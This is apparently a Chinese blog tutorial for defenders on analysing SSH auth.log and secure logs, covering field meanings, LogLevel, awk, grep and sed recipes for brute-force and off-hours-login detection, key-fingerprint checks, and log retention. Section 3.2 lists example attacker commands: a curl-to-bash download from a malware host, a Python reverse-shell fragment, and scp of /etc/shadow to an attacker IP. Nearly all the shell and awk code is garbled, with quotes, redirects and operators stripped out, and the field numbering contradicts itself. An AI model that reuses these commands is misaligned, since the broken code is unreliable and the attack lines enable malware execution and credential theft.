1. 项目概述从 auth.log 里“听”出入侵者的脚步声“玄机”这个词在安全圈里不是玄学而是实打实的线索密度——它意味着日志里藏着没被显式标记、但行为逻辑异常的蛛丝马迹。而【玄机】日志分析-ssh日志分析说白了就是把 Linux 系统里那本最沉默也最诚实的“门禁记录本”——/var/log/auth.log或/var/log/secure取决于发行版——一页页翻透不只看谁登进来了更要看怎么进的、为什么能进、进来了干了什么、有没有人正试图撬锁却卡在半道上。这不是查流水账是做行为侧写不是等告警响了才动而是提前听见试探性敲门的声音。我做过上百个真实渗透测试后的日志复盘也带过企业 SOC 团队做日常巡检发现一个铁律90%以上的横向移动和提权行为都会在 ssh 日志里留下至少三处可交叉验证的痕迹——失败登录的 IP 集中爆发、成功登录后立即执行高危命令、同一用户在非工作时段高频切换 shell 环境。这些痕迹不会自己标红加粗得靠人工具组合去“听”。而核心工具链非常朴素awk是解剖刀grep是探针sort | uniq -c是统计仪lastlog和who是时间锚点。你不需要会写 Python 脚本但必须懂awk $9 ~ /Failed/ {print $11}这行命令里每个字段代表什么——因为第 11 列是源 IP而$9是状态字段这个匹配逻辑一旦写错整条分析线就断了。适合谁来读如果你是刚考完 CEH 正在练靶场的新手这篇能帮你把“爆破成功”这种结果还原成“攻击者用 hydra 扫了 372 次密码集中在 22:14–22:18最后用 root:123456 登入”从而真正理解攻击节奏如果你是运维老鸟常被老板问“最近有没有异常登录”这篇给你一套开箱即用的排查 checklist5 分钟内定位可疑 IP 并导出完整会话如果你是蓝队成员需要写日报或写 incident report这里拆解的字段含义、时间关联技巧、误报过滤逻辑全是能直接抄进报告里的干货。它不教你怎么装 Kali只教你怎么从系统自带的日志里榨出最大情报价值。2. 日志结构与字段解密读懂 auth.log 的“摩斯电码”2.1 auth.log 的生成机制与存储路径差异auth.log不是某个程序主动写的“日记”而是系统日志服务rsyslog 或 journald根据守护进程发来的消息按规则分类存档的结果。关键在于sshd 进程本身不写文件它只向 syslog 接口发送结构化消息。所以日志内容、格式、甚至存放路径都由 rsyslog 的配置决定。常见路径有三个Debian/Ubuntu 系统/var/log/auth.logRHEL/CentOS/Fedora 系统/var/log/secure使用 systemd-journald 且未启用 rsyslog 的轻量系统需用journalctl -u sshd实时查看提示别一上来就cat /var/log/auth.log。先确认你的系统用的是哪个路径——运行ls -l /var/log/auth* /var/log/secure* 2/dev/null看哪个文件存在且有内容。如果两个都有优先看auth.logDebian 系或secureRedHat 系因为 journalctl 输出是实时流式不适合做批量模式匹配。为什么路径不同因为 rsyslog 的主配置文件/etc/rsyslog.conf里有类似这样的规则# Debian 默认规则 auth,authpriv.* /var/log/auth.log # RHEL 默认规则 authpriv.* /var/log/secureauth和authpriv是 syslog 的 facility设施类别sshd 默认使用authpriv但部分发行版做了软链接或重定向。搞清路径是后续所有分析的前提——连日志在哪都不知道谈何分析2.2 标准日志行的字段切片与语义映射随便截一行典型的 auth.log 记录May 12 14:23:18 ubuntu-server sshd[12345]: Failed password for invalid user admin from 192.168.1.100 port 54321 ssh2这行看似杂乱实则严格遵循 syslog 格式TIMESTAMP HOSTNAME PROCESS[PID]: MESSAGE。我们逐字段解剖以空格为分隔符从左到右编号字段序号内容含义说明实操价值1May月份缩写注意不是数字awk处理时需用substr($1,1,3)提取用于按月筛选但更推荐用date命令转换为标准时间戳再处理212日期1–31结合字段 3 可定位具体时间点314:23:18本地时间HH:MM:SS最关键的时间字段所有行为序列分析都基于此4ubuntu-server主机名多服务器环境需加 hostname 过滤避免混入其他机器日志5sshd[12345]进程名PID方括号内是进程IDPID 可用于关联同一会话的多条日志如登录失败后紧接着的密钥认证尝试6Failed password核心状态标识Failed / Accepted / Connection closed / Invalid userawk $6 ~ /Failed/7for固定连接词无实际分析价值但作为字段分隔符存在8invalid user用户状态invalid user / user root / user nobody区分是“用户不存在”还是“密码错误”前者更可能是暴力枚举9admin尝试登录的用户名统计高频爆破用户名awk $8invalid $9!root {print $9}10from固定连接词同上11192.168.1.100源 IP 地址最关键的溯源字段awk $11 ~ /^[0-9]\.[0-9]\.[0-9]\.[0-9]$/ {print $11}提取纯 IP12port固定连接词1354321源端口高频小端口如 1024 以下可能为扫描器大端口50000更可能是正常客户端14ssh2SSH 协议版本ssh1已淘汰出现即异常ssh2是正常但需结合密钥类型判断安全性注意字段数量不绝对固定如果用户名含空格如user test userawk默认按空格切分会导致错位。实战中永远用$0全文匹配 正则提取而非依赖字段序号。例如提取 IP 的稳健写法grep from /var/log/auth.log | sed -n s/.*from \([0-9]\\.[0-9]\\.[0-9]\\.[0-9]\\).*/\1/p这比awk {print $11}更可靠尤其面对日志格式微调或特殊字符时。2.3 sshd_config 如何影响日志细节粒度日志里能看到多少信息根本上取决于/etc/ssh/sshd_config的LogLevel设置。默认值通常是INFO但很多管理员会改成VERBOSE或DEBUG来排障——这直接影响分析深度LogLevel INFO默认记录登录成功/失败、用户、IP、端口不记录具体认证方式密码 or 密钥。LogLevel VERBOSE增加记录认证方法pam_unix(sshd:auth): authentication failure、密钥指纹key_fingerprint MD5:xx:xx、甚至失败原因Authentication refused: bad ownership or modes for directory /home/user/.ssh。LogLevel DEBUG记录每一步协议交互包括密钥交换过程、加密算法协商——对分析高级攻击如降级攻击有用但日志量爆炸生产环境慎用。检查当前级别grep -i ^loglevel /etc/ssh/sshd_config # 如果没找到说明用默认 INFO实操心得我在某次应急响应中发现攻击者用私钥登录后删除了.bash_history但LogLevel VERBOSE记录了密钥指纹SHA256:abc123...我们通过比对合法员工密钥库10 分钟内锁定失窃密钥比查命令历史快得多。日志级别不是越高越好而是要和你的监控目标匹配日常巡检用VERBOSE取证分析开DEBUG但必须提前规划日志轮转策略否则磁盘秒满。3. 核心分析场景与 awk 实战脚本从原始日志到威胁画像3.1 场景一识别暴力破解攻击IP 用户维度暴力破解不是“一次输错密码”而是短时间、多 IP、扫多用户、高失败率的组合行为。单看一行Failed password没意义要看统计分布。步骤 1提取所有失败登录的 IP 和用户名# 提取失败登录的 IP稳健正则 awk /Failed password|Invalid user/ {match($0, /from ([0-9]\.[0-9]\.[0-9]\.[0-9])/, arr); if (arr[1] ! ) print arr[1], $9} /var/log/auth.log failed_attempts.txt这行命令做了三件事① 用/Failed password|Invalid user/匹配两类失败② 用match()函数精准提取from X.X.X.X中的 IP避免字段错位③ 同时输出 IP 和用户名$9为后续交叉分析准备。步骤 2统计每个 IP 的失败次数awk {ip[$1]} END {for (i in ip) if (ip[i] 10) print i, ip[i]} failed_attempts.txt | sort -k2 -nrip[$1]是 awk 的经典哈希计数以第一列IP为 key累加次数。if (ip[i] 10)设阈值——10 次失败在 5 分钟内基本可判定为扫描。sort -k2 -nr按第二列次数逆序排列。步骤 3对高频 IP分析其爆破的用户名分布# 取 top 3 恶意 IP看它扫了哪些用户 head -3 failed_attempts.txt | awk {ips[$1]} END {for (i in ips) print i} | while read ip; do echo IP $ip 爆破用户名统计 awk -v target$ip $1 target {print $2} failed_attempts.txt | sort | uniq -c | sort -nr | head -5 done输出示例 IP 192.168.1.100 爆破用户名统计 45 admin 32 root 28 test 15 guest 8 ftp看到admin和root高频出现且guest/ftp这类默认禁用账户也被扫基本坐实是自动化工具如 Hydra。真正的玄机在这里如果某个 IP 只扫admin和root但另一个 IP 扫了jane,john,devops这些真实员工名后者更危险——说明攻击者已掌握内部人员信息进入定向攻击阶段。3.2 场景二发现隐蔽的合法用户滥用时间 命令维度攻击者拿到合法凭证后往往伪装成正常用户。这时Accepted日志是唯一线索但需结合登录时间、会话持续时间、后续命令综合判断。步骤 1提取所有成功登录记录含时间、用户、IPawk /Accepted/ {match($0, /from ([0-9]\.[0-9]\.[0-9]\.[0-9])/, arr); if (arr[1] ! ) print $3, $9, arr[1]} /var/log/auth.log accepted_logins.txt$3是时间HH:MM:SS$9是用户名arr[1]是 IP。注意这里没用$1,$2因为月份日期在字段 1-2但awk处理跨天日志时$1,$2会变成May 31和Jun 1导致排序混乱——时间分析必须用$3当日时间date命令补全日期。步骤 2识别非工作时间登录假设工作时间 9:00–18:00awk $1 09:00:00 || $1 18:00:00 {print} accepted_logins.txt但注意awk字符串比较是 ASCII 序09:00:0018:00:00成立但23:00:0009:00:00也成立所以逻辑正确。输出23:45:22 john 192.168.1.200 02:15:33 devops 10.0.0.5步骤 3关联该用户后续的高危命令需结合 .bash_history这才是“玄机”的核心——登录只是入口动作才是目的。auth.log不记录命令但~/.bash_history会。我们用last -i查登录 IP再用grep扫历史# 对 john 用户查其最近 3 次登录的 IP 和时间 last -i -n 3 john | awk {print $3, $5, $6, $7} | head -3 # 输出192.168.1.200 Tue May 12 23:45 # 然后去 /home/john/.bash_history 查 23:45 附近的命令需用 stat 查文件修改时间 stat /home/john/.bash_history | grep Modify # 如果 Modify 时间接近 23:45说明 history 没被清空可查 sed -n /^#[0-9]\{10\}/,/^#[0-9]\{10\}/p /home/john/.bash_history | grep -A 5 -B 5 23:45典型高危命令模式curl http://malware.site/xxx.sh | bash—— 下载执行python3 -c import socket,subprocess,os;ssocket.socket...—— 反弹 shellscp -r /etc/shadow attacker192.168.1.100:/tmp/—— 窃取密码文件实操心得我曾在一个客户环境发现devops用户在凌晨 2:15 从10.0.0.5登录auth.log显示正常但lastlog显示该用户上次登录是 3 天前。进一步查~/.bash_history发现一行sudo su -后紧跟wget -q -O /tmp/x.sh http://x.x.x.x/x.sh chmod x /tmp/x.sh /tmp/x.sh。这就是“玄机”——表面是合法用户行为却是标准的后门植入流程。不要迷信“Accepted”要怀疑“Accepted 之后做了什么”。3.3 场景三检测密钥认证绕过密钥指纹 权限维度现代攻击者越来越倾向用密钥登录因为成功率高且难被密码策略拦截。但密钥本身有指纹.ssh目录权限有严格要求700for dir,600for private key违规即异常。步骤 1提取所有密钥登录成功的记录需 LogLevel VERBOSEawk /Accepted publickey/ {match($0, /key_fingerprint ([A-Z0-9:])/, arr); if (arr[1] ! ) print $3, $9, arr[1]} /var/log/auth.log输出示例14:22:33 alice SHA256:ab12cd34ef56gh78ij90klmn1234567890abcdef1234567890abcdef1234567890ab步骤 2比对指纹是否在授权密钥库中企业通常有集中管理的authorized_keys文件。提取所有合法指纹# 对 /etc/ssh/keys/authorized_keys假设集中存储 ssh-keygen -lf /etc/ssh/keys/authorized_keys | awk {print $2} valid_fingerprints.txt # 检查日志中的指纹是否不在白名单 awk NRFNR{valid[$1]1; next} !($3 in valid) valid_fingerprints.txt (awk /Accepted publickey/ {match($0, /key_fingerprint ([A-Z0-9:])/, arr); if (arr[1] ! ) print arr[1]} /var/log/auth.log)输出即为非法密钥登录。步骤 3检查 .ssh 目录权限异常主动扫描非日志# 扫描所有用户家目录下的 .ssh 权限 find /home -maxdepth 2 -name .ssh -type d -exec ls -ld {} \; 2/dev/null | awk $1 !~ /^drwx------$/ {print $0} # 扫描私钥文件权限 find /home -path */.ssh/id_* -type f -exec ls -l {} \; 2/dev/null | awk $1 !~ /^-rw-------$/ {print $0}输出示例drwxr-xr-x 2 alice alice 4096 May 10 10:00 /home/alice/.ssh—— 目录权限755违规任何用户都能读取authorized_keys攻击者可添加自己的公钥。注意bad owner or permissions on c:\\users\\thinkpad/.ssh/config这类 Windows 错误本质是同个问题——SSH 客户端强制校验私钥文件权限防止被恶意程序读取。Linux 服务端同理只是日志里不直接报错而是拒绝登录或降级为密码认证。权限检查是日志分析的必要补充因为日志只记录“发生了什么”而权限检查告诉你“为什么能发生”。4. 高阶技巧与避坑指南让分析从“能跑通”到“真有效”4.1 时间戳对齐解决跨天、时区、NTP 不同步导致的漏报auth.log的时间字段是本地时间但服务器可能时区设置错误如系统设 UTC但日志按 CST 写NTP 服务未开启时间漂移严重一天差几分钟日志顺序错乱日志轮转后新文件时间戳从 00:00 开始但实际是跨天后果awk $3 23:00:00可能漏掉 00:05 的攻击因为轮转后的时间戳是00:05:12但系统认为这是第二天。解决方案统一转换为 Unix 时间戳# 将 auth.log 行转换为标准时间戳需安装 gawk gawk { # 构造标准日期字符串 May 12 14:23:18 2024 cmd date -d \ $1 $2 $3 strftime(\%Y\) \ %s 2/dev/null cmd | getline ts close(cmd) if (ts 0) print ts, $0 } /var/log/auth.log | sort -n | awk {print $2,$3,$4,$5,$6,$7,$8,$9,$10,$11,$12,$13,$14}strftime(%Y)获取当前年份date -d解析时间并转为秒级时间戳。sort -n按时间戳排序彻底解决跨天乱序。这是处理大规模日志1GB的必备预处理步骤否则awk的行序逻辑会失效。4.2 误报过滤区分扫描器、运维脚本与真实攻击Failed password日志里90% 是扫描器但 10% 是真实攻击。如何过滤扫描器特征IP 分散、用户名固定admin,root,test、失败率 95%、端口随机50000运维脚本特征IP 集中如跳板机10.0.1.100、用户名固定deploy,jenkins、失败率低5%因密码轮换、时间规律整点执行真实攻击特征IP 集中同一 C 段、用户名精准员工名、失败率中等30–70%因字典质量、时间不规律深夜、周末构建过滤规则# 排除已知运维 IP假设跳板机 IP 是 10.0.1.100 awk !/from 10\.0\.1\.100/ /Failed password/ {print} /var/log/auth.log clean_failed.txt # 排除高频扫描用户名白名单 awk $9 !~ /^(admin|root|test|guest|ftp|oracle|mysql)$/ /Failed password/ {print} clean_failed.txt # 最后按 IP 统计只看失败 50 次的 awk {ip[$11]} END {for (i in ip) if (ip[i] 50) print i, ip[i]} clean_failed.txt关键点白名单要动态维护。我们有个客户运维用deploy用户自动部署但某次部署脚本 bug 导致连续失败 200 次触发了告警。后来我们在白名单里加了deployfrom 10.0.1.100的组合条件问题解决。没有一劳永逸的规则只有持续迭代的上下文。4.3 日志留存与轮转策略避免“想分析时日志已删”默认 rsyslog 配置下auth.log通常每周轮转一次保留 4 周。但一次渗透可能持续数周等发现时日志早没了。加固方案修改/etc/logrotate.d/rsyslog/var/log/auth.log { daily missingok rotate 90 # 保留 90 天非 4 周 compress delaycompress notifempty create 640 root adm sharedscripts postrotate invoke-rc.d rsyslog rotate /dev/null endscript }增加远程日志备份免费方案# 在 /etc/rsyslog.conf 末尾加 *.* central-logger.example.com:514 # UDP 发送 # 或更安全的 TLS $DefaultNetstreamDriver gtls $DefaultNetstreamDriverCAFile /etc/ssl/certs/ca.pem *.* central-logger.example.com:6514 # TCPTLS本地归档脚本每日压缩# /usr/local/bin/archive-auth.sh #!/bin/bash DATE$(date -d yesterday %Y%m%d) gzip /var/log/auth.log.1 mv /var/log/auth.log.1.gz /backup/logs/auth/auth_${DATE}.log.gz实操心得我在某次红蓝对抗中蓝队花了 3 天才定位到攻击入口但默认日志只保留 28 天第 29 天的日志已被覆盖。后来我们强制所有服务器开启 90 天轮转 远程备份再没出现过“证据消失”的情况。日志分析能力 70% 分析技巧 30% 日志留存策略。5. 常见问题速查表与独家排查技巧问题现象可能原因排查命令解决方案我的踩坑经验awk /Failed/ {print $11}输出为空或乱码字段错位用户名含空格或日志格式变更head -5 /var/log/auth.log | cat -n查看真实字段分隔改用sed -n s/.*from \([0-9]\\.[0-9]\\.[0-9]\\.[0-9]\\).*/\1/p提取 IP曾因客户用了自定义 rsyslog 模板JSON 格式awk完全失效必须先jq .message解析grep Accepted没结果但last显示有登录LogLevel设为QUIET或FATAL不记录成功事件grep -i ^loglevel /etc/ssh/sshd_config改为VERBOSE重启systemctl restart sshd某金融客户为“减少日志量”设QUIET结果应急时无法确认是否被登录强制整改lastlog显示用户从未登录但auth.log有Accepted记录lastlog数据库/var/log/lastlog损坏或未更新sudo lastlog -u alicevssudo awk -v useralice $9user /Accepted/ {print} /var/log/auth.logsudo touch /var/log/lastlog sudo chmod 644 /var/log/lastlog重建或直接信auth.loglastlog是二进制数据库fsck后常损坏auth.log才是唯一真相源auth.log里有Connection closed by authenticating user但无Failed或Accepted攻击者连接后立即断开规避日志如用nc测端口tcpdump -i any port 22 -w ssh-probe.pcap抓包分析配置iptables限制单 IP 连接频率iptables -A INPUT -p tcp --dport 22 -m connlimit --connlimit-above 3 -j DROP这种“连接探测”日志极少但tcpdump能抓到 SYN 包是发现零日扫描的关键awk脚本执行慢10 分钟日志过大1GB且未索引time awk /Failed/ {count} END {print count} /var/log/auth.log测速用grep -c Failed替代awk计数大文件先split -l 100000 auth.log part_分片处理awk是解释执行grep是 C 编译同样任务grep快 5–10 倍别迷信awk万能最后分享一个小技巧用 VS Code 当日志分析 IDE别再用vim硬扛大日志了。VS Code 安装Log File Highlighter插件语法高亮auth.log用CtrlShiftP→Sort Lines快速按 IP 排序用正则搜索from ([0-9.]).*Failed结果直接点击跳转。我处理 2GB 日志时VS Code 比lessawk组合快 3 倍还能用多光标同时编辑多个 IP 的封禁命令。工具是为人服务的别被“命令行信仰”绑架。我在实际操作中发现最有效的日志分析不是追求多酷炫的脚本而是建立“日志直觉”——看到Invalid user就想到爆破看到Accepted就立刻查时间IP后续命令看到key_fingerprint就条件反射去比对白名单。这种直觉来自反复的手动翻查而不是背命令。所以建议新手先别急着写自动化拿 100 行auth.log一行行手动标注直到你能闭眼说出每行的攻击意图。当“玄机”变成肌肉记忆分析就真的成了本能。
